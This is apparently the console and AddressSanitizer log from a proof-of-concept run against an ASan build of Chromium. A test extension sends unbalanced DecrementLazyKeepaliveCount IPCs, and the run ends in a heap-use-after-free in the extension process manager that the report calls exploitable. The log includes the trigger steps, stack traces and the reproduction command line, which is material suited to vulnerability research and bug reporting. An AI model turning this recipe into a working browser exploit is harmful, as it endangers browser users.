[server] extension dir: /poc-artifacts/extension [server] extension id: chkhegdnmbhmcbelbldbpibnhinjjlpa [server] listening on http://127.0.0.1:8765/poc.html [6517:6532:0514/161517.819461:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [6517:6532:0514/161517.827555:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6532:0514/161517.827668:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [6517:6532:0514/161517.827706:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [6517:6532:0514/161517.827735:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6532:0514/161517.871976:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6550:6550:0514/161517.882293:WARNING:media/gpu/vaapi/vaapi_wrapper.cc:1587] drmGetDevices2() has not found any devices [6550:6550:0514/161517.883631:WARNING:sandbox/policy/linux/sandbox_linux.cc:404] InitializeSandbox() called with multiple threads in process gpu-process. [6517:6517:0514/161517.936099:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured. [6517:6532:0514/161517.945289:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6517:0514/161518.150755:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6517:0514/161518.150868:WARNING:device/bluetooth/dbus/bluez_dbus_manager.cc:209] Floss manager service not available, cannot set Floss enable/disable. [6517:6517:0514/161518.150932:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6532:0514/161518.150938:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6532:0514/161518.151036:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6517:0514/161518.151449:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6517:0514/161518.160769:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: (poc.html:6517): dbind-WARNING **: 16:15:18.172: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/104146510/at-spi/bus_20: No such file or directory [6517:6532:0514/161518.378713:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [6517:6532:0514/161518.378814:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [6517:6517:0514/161518.378814:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6517:0514/161518.379604:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6532:0514/161518.379732:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6517:0514/161518.431171:WARNING:dbus/property.cc:94] Failed to connect to PropertiesChangedsignal. [6517:6517:0514/161518.592794:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: [6517:6517:0514/161518.592814:WARNING:dbus/property.cc:174] GetAll request failed for: org.freedesktop.UPower.Device [6517:6517:0514/161518.593912:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6532:0514/161518.594160:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6517:0514/161518.612828:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6532:0514/161518.612953:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [6517:6517:0514/161518.698175:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [6517:6517:0514/161518.853194:WARNING:ui/base/idle/idle_linux.cc:111] None of the known D-Bus ScreenSaver services could be used. [6517:6517:0514/161519.504511:INFO:CONSOLE:55] "[bg] background page loaded", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (55) [server] "GET /poc.html HTTP/1.1" 200 - [6517:6517:0514/161520.593279:INFO:CONSOLE:16] "[poc] extension id: chkhegdnmbhmcbelbldbpibnhinjjlpa", source: http://127.0.0.1:8765/poc.html (16) [6517:6517:0514/161522.003687:INFO:CONSOLE:17] "[bg] iframeReady, count = 1", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (17) [6517:6517:0514/161522.049426:INFO:CONSOLE:16] "[poc] war.html iframe ready (1)", source: http://127.0.0.1:8765/poc.html (16) [6517:6517:0514/161522.054543:INFO:CONSOLE:17] "[bg] iframeReady, count = 2", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (17) [6517:6517:0514/161522.058525:INFO:CONSOLE:16] "[poc] war.html iframe ready (2)", source: http://127.0.0.1:8765/poc.html (16) [6517:6517:0514/161522.058658:INFO:CONSOLE:16] "[poc] arming alert() in 13000ms", source: http://127.0.0.1:8765/poc.html (16) [6517:6517:0514/161522.059989:INFO:CONSOLE:29] "[bg] attaching debugger to tab 1077864753", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (29) [6517:6517:0514/161522.062627:INFO:CONSOLE:35] "[bg] debugger attached", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (35) [server] code 404, message File not found [server] "GET /favicon.ico HTTP/1.1" 404 - [6517:6517:0514/161523.063647:INFO:CONSOLE:42] "[bg] sending unbalanced DecrementLazyKeepaliveCount IPCs", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (42) [6517:6517:0514/161523.063729:INFO:CONSOLE:44] "UAFPOC_DECREMENT:50", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (44) [6647:6647:0514/161523.063659:ERROR:extensions/renderer/extensions_render_frame_observer.cc:150] [uafpoc] renderer sending 50 unbalanced DecrementLazyKeepaliveCount IPCs [6517:6532:0514/161525.395917:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: DEPRECATED_ENDPOINT [6517:6532:0514/161525.423146:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: PHONE_REGISTRATION_ERROR [6517:6532:0514/161525.423439:ERROR:google_apis/gcm/engine/mcs_client.cc:702] Error code: 401 Error message: Authentication Failed: wrong_secret [6517:6532:0514/161525.423454:ERROR:google_apis/gcm/engine/mcs_client.cc:704] Failed to log in to GCM, resetting connection. [6517:6517:0514/161535.323620:INFO:CONSOLE:16] "[poc] showing alert()", source: http://127.0.0.1:8765/poc.html (16) ================================================================= ==6517==ERROR: AddressSanitizer: heap-use-after-free on address 0x7926d29271f8 at pc 0x612d8bafc614 bp 0x7ffffe45a7f0 sp 0x7ffffe45a7e8 READ of size 8 at 0x7926d29271f8 thread T0 (chrome) #0 0x612d8bafc613 in content::WebContentsImpl::FromRenderFrameHostImpl(content::RenderFrameHostImpl*) base/allocator/partition_allocator/src/partition_alloc/pointers/raw_ptr.h:1018:47 #1 0x612d8bafc10e in content::WebContents::FromRenderFrameHost(content::RenderFrameHost*) content/browser/web_contents/web_contents_impl.cc:828:10 #2 0x612d8d28ebd3 in extensions::ProcessManager::CloseLazyBackgroundPageNow(std::__Cr::basic_string, std::__Cr::allocator> const&, unsigned long) extensions/browser/process_manager.cc:889:7 #3 0x612d8d298747 in base::internal::Invoker, std::__Cr::allocator> const&, unsigned long), base::WeakPtr&&, std::__Cr::basic_string, std::__Cr::allocator>&&, unsigned long&&>, base::internal::BindState, std::__Cr::allocator> const&, unsigned long), base::WeakPtr, std::__Cr::basic_string, std::__Cr::allocator>, unsigned long>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12 #4 0x612d963d4b33 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12 #5 0x612d96443b5c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5 #6 0x612d964429fa in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40 #7 0x612d965eee98 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46 #8 0x612d965f2458 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43 #9 0x7b06d59fb718 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54718) (BuildId: 42c28e95f24a721d8e8e159f42dbc541f0ff353d) 0x7926d29271f8 is located 248 bytes inside of 5672-byte region [0x7926d2927100,0x7926d2928728) freed by thread T0 (chrome) here: #0 0x612d7e243ddd in operator delete(void*) (/chromium/chromium/src/out/asan/chrome+0x10e2fddd) (BuildId: 83b8096534c32647) #1 0x612d8b39a1e4 in content::RenderFrameHostManager::~RenderFrameHostManager() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5 #2 0x612d8aed0b9c in content::FrameTreeNode::~FrameTreeNode() content/browser/renderer_host/frame_tree_node.cc:312:1 #3 0x612d8aed1fb3 in content::FrameTreeNode::~FrameTreeNode() content/browser/renderer_host/frame_tree_node.cc:222:33 #4 0x612d8b326ddb in std::__Cr::vector>, std::__Cr::allocator>>>::__destroy_vector::operator()() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5 #5 0x612d8b248669 in content::RenderFrameHostImpl::ResetChildren() gen/third_party/libc++/src/include/__vector/vector.h:258:67 #6 0x612d8b262891 in content::RenderFrameHostImpl::RenderProcessGone(content::SiteInstanceGroup*, content::ChildProcessTerminationInfo const&) content/browser/renderer_host/render_frame_host_impl.cc:4456:3 #7 0x612d8b9667f3 in void base::ObserverList::NotifyAllowReentrancy(T, content::SiteInstanceGroup* const&, content::ChildProcessTerminationInfo const&) gen/third_party/libc++/src/include/__type_traits/invoke.h:90:27 #8 0x612d8b965f13 in content::SiteInstanceGroup::RenderProcessExited(content::RenderProcessHost*, content::ChildProcessTerminationInfo const&) content/browser/site_instance_group.cc:134:14 #9 0x612d8b43110b in content::RenderProcessHostImpl::ProcessDied(content::ChildProcessTerminationInfo const&) content/browser/renderer_host/render_process_host_impl.cc:5598:14 #10 0x612d8b42ec2c in content::RenderProcessHostImpl::FastShutdown() content/browser/renderer_host/render_process_host_impl.cc:5642:3 #11 0x612d8b42e344 in content::RenderProcessHostImpl::FastShutdownIfPossible(unsigned long, bool, bool, bool, bool, bool) content/browser/renderer_host/render_process_host_impl.cc:4223:3 #12 0x612d93559a02 in TabStripModel::CloseWebContentses(base::span, unsigned int, TabStripModel::DetachNotifications*) chrome/browser/ui/tabs/tab_strip_model.cc:3801:19 #13 0x612d935270a5 in TabStripModel::CloseTabs(base::span, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:3680:7 #14 0x612d93528bf0 in TabStripModel::CloseWebContentsAt(int, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:1325:3 #15 0x612daeeadb39 in chrome::CloseWebContents(Browser*, content::WebContents*, bool) chrome/browser/ui/browser_tabstrip.cc:136:31 #16 0x612d8bbab28a in content::WebContentsImpl::Close() content/browser/web_contents/web_contents_impl.cc:9724:16 #17 0x612d8b292edd in content::RenderFrameHostImpl::ClosePageIgnoringUnloadEvents(content::RenderFrameHostImpl::ClosePageSource, base::RepeatingCallback) content/browser/renderer_host/render_frame_host_impl.cc:7752:14 #18 0x612d8b29387b in content::RenderFrameHostImpl::ClosePage(content::RenderFrameHostImpl::ClosePageSource, base::RepeatingCallback) content/browser/renderer_host/render_frame_host_impl.cc:7710:5 #19 0x612d8bb0fc46 in content::WebContentsImpl::ClosePage() content/browser/web_contents/web_contents_impl.cc:2035:26 #20 0x612d8d28ec0b in extensions::ProcessManager::CloseLazyBackgroundPageNow(std::__Cr::basic_string, std::__Cr::allocator> const&, unsigned long) extensions/browser/process_manager.cc:889:57 #21 0x612d8d298747 in base::internal::Invoker, std::__Cr::allocator> const&, unsigned long), base::WeakPtr&&, std::__Cr::basic_string, std::__Cr::allocator>&&, unsigned long&&>, base::internal::BindState, std::__Cr::allocator> const&, unsigned long), base::WeakPtr, std::__Cr::basic_string, std::__Cr::allocator>, unsigned long>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12 #22 0x612d963d4b33 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12 #23 0x612d96443b5c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5 #24 0x612d964429fa in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40 #25 0x612d965eee98 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46 #26 0x612d965f2458 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43 #27 0x7b06d59fb718 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54718) (BuildId: 42c28e95f24a721d8e8e159f42dbc541f0ff353d) previously allocated by thread T0 (chrome) here: #0 0x612d7e24359d in operator new(unsigned long) (/chromium/chromium/src/out/asan/chrome+0x10e2f59d) (BuildId: 83b8096534c32647) #1 0x612d8b233575 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, mojo::PendingAssociatedRemote, base::TokenType const&, base::TokenType const&, base::UnguessableToken, bool, content::RenderFrameHostImpl::LifecycleStateImpl, scoped_refptr) content/public/browser/render_frame_host.h:157:3 #2 0x612d8b39d302 in content::RenderFrameHostManager::CreateRenderFrameHost(content::RenderFrameHostManager::CreateFrameCase, content::SiteInstanceImpl*, int, mojo::PendingAssociatedRemote, base::TokenType const&, base::TokenType const&, base::UnguessableToken, bool, scoped_refptr, content::ProcessAllocationContext const&) content/browser/renderer_host/render_frame_host_manager.cc:4404:10 #3 0x612d8b3cb229 in content::RenderFrameHostManager::CreateSpeculativeRenderFrame(content::SiteInstanceImpl*, bool, scoped_refptr const&, std::__Cr::optional const&) content/browser/renderer_host/render_frame_host_manager.cc:4574:7 #4 0x612d8b3b76df in content::RenderFrameHostManager::CreateSpeculativeRenderFrameHost(content::SiteInstanceImpl*, content::SiteInstanceImpl*, bool, content::ProcessAllocationContext const&, std::__Cr::optional const&) content/browser/renderer_host/render_frame_host_manager.cc:4526:36 #5 0x612d8b3b0775 in content::RenderFrameHostManager::GetFrameHostForNavigation(content::NavigationRequest*, content::BrowsingContextGroupSwap*, content::ProcessAllocationContext const&, std::__Cr::basic_string, std::__Cr::allocator>*) content/browser/renderer_host/render_frame_host_manager.cc:2174:22 #6 0x612d8b1b7fa4 in base::internal::Invoker&&, long&&>, base::internal::BindState, long>, void ()>::RunOnce(base::internal::BindStateBase*) content/browser/renderer_host/navigation_request.cc:5850:21 #7 0x612d963d4b33 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12 #8 0x612d96443b5c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5 #9 0x612d964429fa in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40 #10 0x612d965ef7d4 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:782:48 #11 0x612d96445244 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12 #12 0x612d963501e0 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14 #13 0x612d89c9911c in content::BrowserMainLoop::RunMainMessageLoop() content/browser/browser_main_loop.cc:1103:18 #14 0x612d89ca1acc in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:148:15 #15 0x612d89c9015c in content::BrowserMain(content::MainFunctionParams) content/browser/browser_main.cc:32:28 #16 0x612d92bd18c1 in content::RunBrowserProcessMain(content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:697:10 #17 0x612d92bd5a08 in content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams, bool) content/app/content_main_runner_impl.cc:1331:10 #18 0x612d92bd4ea0 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1162:12 #19 0x612d92bce788 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36 #20 0x612d92bced8c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10 #21 0x612d7e245266 in ChromeMain chrome/app/chrome_main.cc:194:12 #22 0x7b06d462b249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4) SUMMARY: AddressSanitizer: heap-use-after-free base/allocator/partition_allocator/src/partition_alloc/pointers/raw_ptr.h:1018:47 in content::WebContentsImpl::FromRenderFrameHostImpl(content::RenderFrameHostImpl*) Shadow bytes around the buggy address: 0x7926d2926f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7926d2926f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7926d2927000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7926d2927080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa 0x7926d2927100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x7926d2927180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd] 0x7926d2927200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7926d2927280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7926d2927300: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7926d2927380: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7926d2927400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==6517==ADDITIONAL INFO ==6517==Note: Please include this section with the ASan report. Task trace: #0 0x612d8d28e14e in extensions::ProcessManager::OnSuspendAck(std::__Cr::basic_string, std::__Cr::allocator> const&) extensions/browser/process_manager.cc:538:7 #1 0x612d9a2a24cd in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*) ipc/ipc_mojo_bootstrap.cc:1138:13 #2 0x612d972291b3 in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:103:13 Command line: `/chromium/chromium/src/out/asan/chrome --no-first-run --no-default-browser-check --ignore-gpu-blocklist --no-sandbox --ozone-platform=headless --disable-gpu --user-data-dir=/tmp/chrome-poc-profile.4JNW9f --enable-logging=stderr --v=0 --disable-features=ExtensionManifestV2Unsupported,ExtensionManifestV2Disabled --silent-debugger-extension-api --load-extension=/poc-artifacts/extension --flag-switches-begin --flag-switches-end about:blank http://127.0.0.1:8765/poc.html` MiraclePtr Status: NOT PROTECTED No raw_ptr access to this region was detected prior to this crash. This crash is still exploitable with MiraclePtr. Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details. ==6517==END OF ADDITIONAL INFO ==6517==ABORTING [6553:6600:0514/161540.419856:WARNING:net/extras/sqlite/sqlite_persistent_store_backend_base.cc:179] Failed to post task from FlushAndNotifyInBackground@net/extras/sqlite/sqlite_persistent_store_backend_base.cc:229 to client_task_runner_. [6553:6600:0514/161540.419976:WARNING:net/extras/sqlite/sqlite_persistent_store_backend_base.cc:179] Failed to post task from FlushAndNotifyInBackground@net/extras/sqlite/sqlite_persistent_store_backend_base.cc:229 to client_task_runner_.